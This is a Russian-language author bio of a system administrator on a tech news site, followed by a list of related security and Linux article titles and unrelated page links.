Опытный системный администратор с большим стажем работы на крупном российском заводе. Иван является энтузиастом OpenSource и любителем Windows, проявляя высокую компетентность в обоих операционных системах.

Благодаря его технической грамотности и умению решать сложные задачи, Иван стал неотъемлемой частью команды нашего проекта, обеспечивая непрерывную авторскую работу.

Похожие статьи

  1. Новая функция Windows 11 Phone Link может стать предметом киберпреследователей
  2. Новая версия дистрибутива для хакеров Parrot OS 5.3 с новым ядром Linux 6.1 LTS
  3. MimiPenguin — отображение паролей пользователей Linux из дампа ОЗУ
  4. Злоумышленники продолжают использовать подписанные драйверы Microsoft
  5. 10 лучших инструментов шифрования файлов и дисков в Linux

Понравилась статья? Поделить с друзьями:
  • Как найти медиану треугольника в прямоугольном треугольнике
  • Скрепка сайт как найти крепость
  • Как найти парня в тамбове
  • Как найти квартиру в кизляре
  • Как составить буквенный став